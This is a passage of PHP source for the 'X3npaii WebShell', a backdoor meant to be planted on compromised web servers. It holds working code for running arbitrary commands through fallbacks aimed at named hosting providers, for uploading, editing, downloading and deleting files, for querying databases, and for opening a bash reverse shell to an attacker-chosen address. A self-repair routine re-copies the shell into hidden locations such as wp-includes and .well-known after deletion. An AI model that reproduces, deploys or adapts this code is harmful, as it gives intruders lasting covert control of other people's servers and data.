['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
$output = @stream_get_contents($pipes[1]);
@fclose($pipes[0]);
@fclose($pipes[1]);
@fclose($pipes[2]);
@proc_close($process);
return $output;
}
}
return false;
}
function bypass_hostgator($cmd) {
if (function_exists('shell_exec')) {
return @shell_exec($cmd);
}
return false;
}
function bypass_godaddy($cmd) {
if (function_exists('popen')) {
$handle = @popen($cmd . ' 2>&1', 'r');
$output = '';
while (!@feof($handle)) {
$output .= @fread($handle, 1024);
}
@pclose($handle);
return $output;
}
return false;
}
function bypass_hostinger($cmd) {
if (function_exists('exec')) {
@exec($cmd . ' 2>&1', $output);
return @implode("\n", $output);
}
return false;
}
// Lock File
$lock_file = '.x3npaii.lock';
$current_file = @basename(__FILE__);
// Create lock if it doesn't exist
if (!@file_exists($lock_file)) {
@file_put_contents($lock_file, 'LOCKED');
@chmod($lock_file, 0444);
}
// Self-repair mechanism with enhanced stealth and auto mkdir
register_shutdown_function(function() use ($current_file, $lock_file) {
if (!@file_exists($current_file)) {
// Backup locations (auto create if not exists)
$backup_locations = [
dirname(__FILE__) . '/' . $current_file,
dirname(__FILE__) . '/.htaccess.bak',
dirname(__FILE__) . '/index.php.bak',
dirname(__FILE__) . '/.well-known/' . $current_file,
dirname(__FILE__) . '/wp-includes/' . $current_file,
dirname(__FILE__) . '/cgi-bin/' . $current_file,
dirname(__FILE__) . '/tmp/' . $current_file,
dirname(__FILE__) . '/cache/' . $current_file
];
// Auto-create parent dirs if not exist
foreach ($backup_locations as $location) {
$dir = dirname($location);
if (!@is_dir($dir)) {
@mkdir($dir, 0755, true); // Recursive mkdir
}
}
// Get content from lock file to restore shell
$content = @file_get_contents($lock_file);
if ($content !== false) {
foreach ($backup_locations as $location) {
if (@file_put_contents($location, $content)) {
@chmod($location, 0555); // Read-only
}
}
}
}
});
// Password Protection Logic with enhanced security
if (!isset($_SESSION['loggedin'])) {
if (isset($_POST['password'])) {
if ($_POST['password'] == $password) {
$_SESSION['loggedin'] = true;
$_SESSION['attempts'] = 0;
$_SESSION['ip'] = @$_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = @$_SERVER['HTTP_USER_AGENT'];
} else {
$_SESSION['attempts']++;
$error_msg = "";
if ($_SESSION['attempts'] == 1) {
$error_msg = "Password Wr0ng!! 2x Attempt left...";
} elseif ($_SESSION['attempts'] >= 2) {
$error_msg = "Bruh.. Idiot Senpaii!! Baka Baka... バカバカ...";
@file_put_contents('.x3z_auth.log', date('Y-m-d H:i:s') . " - Failed login from " . @$_SERVER['REMOTE_ADDR'] . "\n", FILE_APPEND);
}
show_login_form($error_msg);
exit;
}
} else {
show_login_form();
exit;
}
}
// Session hijacking protection
if ($_SESSION['ip'] !== @$_SERVER['REMOTE_ADDR'] || $_SESSION['user_agent'] !== @$_SERVER['HTTP_USER_AGENT']) {
session_destroy();
header('Location: '.@basename(__FILE__));
exit;
}
// ==============================
// MAIN SHELL FUNCTIONALITY
// ==============================
// Access Counter
$counter_file = '.x3z_counter';
$access_count = @file_exists($counter_file) ? (int)@file_get_contents($counter_file) : 0;
@file_put_contents($counter_file, ++$access_count);
// Current Directory
$current_dir = isset($_GET['path']) ? $_GET['path'] : @getcwd();
if (!@is_dir($current_dir)) $current_dir = @getcwd();
@chdir($current_dir);
$current_dir = str_replace('\\', '/', @realpath('.'));
// Messages
$message = '';
// Function: Success Message
function success_msg($text) {
return "
🌸 $text
";
}
// Function: Error Message
function error_msg($text) {
return "💢 $text
";
}
// Function: Execute Command with Bypass
function execute_command($cmd) {
global $is_litespeed, $is_hostgator, $is_godaddy, $is_hostinger;
// Try bypass methods first based on detected environment
if ($is_litespeed === "True") {
$output = bypass_litespeed($cmd);
if ($output !== false) return $output;
}
if ($is_hostgator === "True") {
$output = bypass_hostgator($cmd);
if ($output !== false) return $output;
}
if ($is_godaddy === "True") {
$output = bypass_godaddy($cmd);
if ($output !== false) return $output;
}
if ($is_hostinger === "True") {
$output = bypass_hostinger($cmd);
if ($output !== false) return $output;
}
// Fallback to standard methods
$bypass_methods = [
'system' => function($c) { @ob_start(); @system($c); return @ob_get_clean(); },
'shell_exec' => function($c) { return @shell_exec($c); },
'exec' => function($c) { @exec($c, $r); return @implode("\n", $r); },
'popen' => function($c) { $h = @popen($c . ' 2>&1', 'r'); if (!$h) return ''; $o = ''; while (!@feof($h)) $o .= @fread($h, 1024); @pclose($h); return $o; },
'passthru' => function($c) { @ob_start(); @passthru($c); return @ob_get_clean(); },
'proc_open' => function($c) { $d = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']]; $p = @proc_open($c, $d, $io); if (!@is_resource($p)) return ''; $o = @stream_get_contents($io[1]); @proc_close($p); return $o; }
];
foreach ($bypass_methods as $func => $method) {
if (function_exists($func)) {
try {
$result = is_callable($method) ? $method($cmd) : $method($cmd);
if (!empty($result)) return $result;
} catch (Exception $e) {
continue;
}
}
}
return 'ERROR: All execution functions are disabled.';
}
// Function: Format File Size
function format_size($bytes) {
if ($bytes === 0) return "0 B";
$k = 1024;
$sizes = ["B", "KB", "MB", "GB", "TB"];
$i = floor(log($bytes) / log($k));
return round($bytes / pow($k, $i), 2) . " " . $sizes[$i];
}
// Extract Archive
if (isset($_GET['extract'])) {
$file_path = $current_dir . '/' . $_GET['extract'];
$file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$file_name = pathinfo($file_path, PATHINFO_FILENAME);
$extract_dir = $current_dir . '/' . $file_name . '_extracted';
if (!@is_dir($extract_dir)) @mkdir($extract_dir);
if ($file_ext === 'zip') {
$zip = new ZipArchive;
if ($zip->open($file_path) === TRUE) {
$zip->extractTo($extract_dir);
$zip->close();
$message .= success_msg("ZIP extracted to $extract_dir");
} else {
$message .= error_msg('Failed to extract ZIP');
}
} elseif ($file_ext === 'rar') {
$output = execute_command('unrar x -o+ ' . escapeshellarg($file_path) . ' ' . escapeshellarg($extract_dir));
if (strpos($output, 'ERROR') === false) {
$message .= success_msg("RAR extracted to $extract_dir");
} else {
$message .= error_msg('Failed to extract RAR');
}
} elseif (strpos($file_path, '.tar') !== false) {
$output = execute_command('tar -xf ' . escapeshellarg($file_path) . ' -C ' . escapeshellarg($extract_dir));
if (empty($output)) {
$message .= success_msg("TAR extracted to $extract_dir");
} else {
$message .= error_msg('Failed to extract TAR');
}
} else {
$message .= error_msg('Unsupported archive format');
}
}
// Execute Command
$cmd_output = '';
if (isset($_POST['exec'])) {
$cmd_output = execute_command($_POST['exec']);
}
// File Upload
if (isset($_FILES['upload'])) {
$target_path = $current_dir . '/' . $_FILES['upload']['name'];
if (@move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
$message .= success_msg("Uploaded file {$_FILES['upload']['name']} to $current_dir");
} else {
$message .= error_msg('Upload failed');
}
}
// Create New File
if (isset($_POST['newfile']) && !empty($_POST['newfile'])) {
if (@file_put_contents($current_dir . '/' . $_POST['newfile'], '//File Created By X3npaii WebShell V2.2.0')) {
$message .= success_msg("File {$_POST['newfile']} created successfully");
} else {
$message .= error_msg("Failed to create file {$_POST['newfile']}");
}
}
// Create New Directory
if (isset($_POST['newdir']) && !empty($_POST['newdir'])) {
if (@mkdir($current_dir . '/' . $_POST['newdir'])) {
$message .= success_msg("Directory {$_POST['newdir']} created successfully");
} else {
$message .= error_msg("Failed to create directory {$_POST['newdir']}");
}
}
// Rename File/Directory
if (isset($_POST['rename']) && isset($_POST['rename_to']) && !empty($_POST['rename_to'])) {
if (@rename($current_dir . '/' . $_POST['rename'], $current_dir . '/' . $_POST['rename_to'])) {
$message .= success_msg("Renamed {$_POST['rename']} to {$_POST['rename_to']}");
} else {
$message .= error_msg("Failed to rename {$_POST['rename']}");
}
}
// Change File Permissions
if (isset($_POST['chmod']) && isset($_POST['chmodfile'])) {
if (@chmod($current_dir . '/' . $_POST['chmodfile'], octdec($_POST['chmod']))) {
$message .= success_msg("Changed permissions of {$_POST['chmodfile']} to {$_POST['chmod']}");
} else {
$message .= error_msg("Failed to change permissions of {$_POST['chmodfile']}");
}
}
// Delete Files/Directories
if (isset($_POST['delete'])) {
$success = true;
foreach ($_POST['sel'] as $item) {
$target = $current_dir . '/' . $item;
if (@is_dir($target)) {
if (!@rmdir($target)) $success = false;
} else {
if (!@unlink($target)) $success = false;
}
}
if ($success) {
$message .= success_msg('Selected items deleted successfully');
} else {
$message .= error_msg('Failed to delete some items');
}
}
// Move Files
if (isset($_POST['move']) && isset($_POST['target'])) {
$success = true;
foreach ($_POST['sel'] as $item) {
if (!@rename($current_dir . '/' . $item, $_POST['target'] . '/' . $item)) {
$success = false;
}
}
if ($success) {
$message .= success_msg("Moved to {$_POST['target']}");
} else {
$message .= error_msg("Failed to move some items to {$_POST['target']}");
}
}
// Read File Contents
if (isset($_POST['readfile'])) {
$target = $current_dir . '/' . $_POST['readfile'];
if (@is_file($target)) {
$content = htmlspecialchars(@file_get_contents($target));
show_file_viewer($_POST['readfile'], $content, $current_dir);
exit;
}
}
// Edit File
if (isset($_GET['edit'])) {
$file_path = $current_dir . '/' . $_GET['edit'];
if (isset($_POST['save'])) {
if (@file_put_contents($file_path, $_POST['content'])) {
echo "";
} else {
echo "";
}
}
$content = htmlspecialchars(@file_get_contents($file_path));
show_file_editor(basename($file_path), $content, $current_dir);
exit;
}
// Download File
if (isset($_GET['download'])) {
$file_path = $current_dir . '/' . $_GET['download'];
if (@file_exists($file_path)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.@basename($file_path).'"');
header('Content-Length: ' . @filesize($file_path));
@readfile($file_path);
exit;
}
}
// Lock Shell Functionality
if (isset($_GET['lock'])) {
if ($_GET['lock'] === 'enable') {
// Create required directories if not exist
$backup_dirs = [
dirname(__FILE__) . '/.well-known/',
dirname(__FILE__) . '/wp-includes/',
dirname(__FILE__) . '/cgi-bin/',
dirname(__FILE__) . '/tmp/',
dirname(__FILE__) . '/cache/'
];
foreach ($backup_dirs as $dir) {
if (!@is_dir($dir)) {
@mkdir($dir, 0755, true); // Recursive mkdir
}
}
if (@file_put_contents($lock_file, 'LOCKED') && @chmod($lock_file, 0444)) {
$message .= success_msg('Shell lock enabled! This shell will now self-repair if deleted.');
} else {
$message .= error_msg('Failed to enable shell lock!');
}
} elseif ($_GET['lock'] === 'disable') {
if (@chmod($lock_file, 0644) && @unlink($lock_file)) {
$message .= success_msg('Shell lock disabled!');
} else {
$message .= error_msg('Failed to disable shell lock!');
}
}
}
// Reverse Shell
if (isset($_POST['reverse_shell'])) {
$ip = $_POST['ip'];
$port = $_POST['port'];
$cmd = "bash -i >& /dev/tcp/$ip/$port 0>&1";
$output = execute_command($cmd);
$message .= "".htmlspecialchars($output)."
";
}
// Database Manager
if (isset($_POST['db_manager'])) {
$host = $_POST['db_host'];
$user = $_POST['db_user'];
$pass = $_POST['db_pass'];
$db = $_POST['db_name'];
$conn = @mysqli_connect($host, $user, $pass, $db);
if ($conn) {
$query = $_POST['db_query'];
$result = @mysqli_query($conn, $query);
if ($result) {
$message .= "";
while ($row = @mysqli_fetch_assoc($result)) {
$message .= "";
foreach ($row as $key => $value) {
$message .= "| ".htmlspecialchars($value)." | ";
}
$message .= "
";
}
$message .= "
";
} else {
$message .= error_msg("Query failed: " . @mysqli_error($conn));
}
@mysqli_close($conn);
} else {
$message .= error_msg("Database connection failed: " . @mysqli_connect_error());
}
}
// Terminal
if (isset($_POST['terminal'])) {
$cmd = $_POST['terminal_cmd'];
$output = execute_command($cmd);
$message .= "".htmlspecialchars($output)."
";
}
// Mass File Creation
if (isset($_POST['mass_create'])) {
$filename = $_POST['mass_filename'];
$note = $_POST['mass_note'];
$dirs = array_filter(@scandir($current_dir), function ($item) use ($current_dir) {
return @is_dir($current_dir . '/' . $item) && $item != '.' && $item != '..';
});
foreach ($dirs as $dir) {
$filepath = $current_dir . '/' . $dir . '/' . $filename;
if (@file_put_contents($filepath, "//File Created By X3npaii WebShell V2.2.0\n$note")) {
$message .= success_msg("Created file $filename in $dir");
} else {
$message .= error_msg("Failed to create file $filename in $dir");
}
}
}
// Show login form
function show_login_form($error_msg = '') {
echo '
X3npaii WebShell V2.5.0 - Login
X3npaii WebShell V2.5.0
Hi! Senpaii >_<
'.(!empty($error_msg) ? '
'.$error_msg.'
' : '').'
';
}
// Show file viewer
function show_file_viewer($filename, $content, $current_dir) {
echo '
Viewing: '.htmlspecialchars($filename).'
Viewing: '.htmlspecialchars($filename).'
';
}
// Show file editor
function show_file_editor($filename, $content, $current_dir) {
echo '
Editing: '.htmlspecialchars($filename).'
Edit: '.htmlspecialchars($filename).'
';
}
// Show main shell interface
show_shell_interface($message, $cmd_output, $current_dir, $access_count, $is_litespeed, $is_hostgator, $is_godaddy, $is_hostinger);
function show_shell_interface($message, $cmd_output, $current_dir, $access_count, $is_litespeed, $is_hostgator, $is_godaddy, $is_hostinger) {
echo '
X3npaii WebShell V2.5.0
'.$message.'
Quick Actions
Server Info
OS: '.php_uname().'
PHP: '.phpversion().'
Server: '.@$_SERVER['SERVER_SOFTWARE'].'
User: '.@get_current_user().'
Disabled: '.@ini_get('disable_functions').'
';
}
?>